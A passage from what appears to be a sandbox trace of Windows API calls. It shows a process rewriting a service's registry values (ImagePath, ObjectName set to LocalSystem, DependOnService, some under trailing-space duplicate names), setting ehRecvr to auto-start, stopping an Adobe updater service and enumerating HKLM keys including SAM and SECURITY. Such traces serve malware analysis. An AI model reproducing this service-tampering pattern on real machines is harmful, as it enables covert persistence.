lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0188.350] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0188.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0188.350] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0188.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.350] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.403] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.403] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0188.403] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0188.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0188.403] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.404] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0188.404] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0188.405] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0188.405] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0188.405] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0188.405] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0188.405] LocalFree (hMem=0x7e4b18) returned 0x0 [0188.405] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0188.405] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x803990 [0188.405] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0188.423] CloseServiceHandle (hSCObject=0x803990) returned 1 [0188.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0188.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0188.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0188.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0188.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0188.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0188.424] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.425] RegCloseKey (hKey=0x140) returned 0x0 [0188.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0188.425] RegCloseKey (hKey=0x14c) returned 0x0 [0188.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0188.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0188.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0188.425] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0188.425] GetLastError () returned 0x20 [0188.425] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0188.426] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0188.426] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0188.426] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x8038a0 [0188.427] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0188.427] GetLastError () returned 0x426 [0188.427] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0188.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0188.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0188.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0188.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0188.427] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0188.427] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0188.427] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.428] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0188.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.428] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.428] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0188.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0188.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0188.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.491] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0191.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.013] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.013] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0191.013] RegCloseKey (hKey=0x80000002) returned 0x0 [0191.013] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0191.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.014] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.014] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.014] RtlFreeHeap 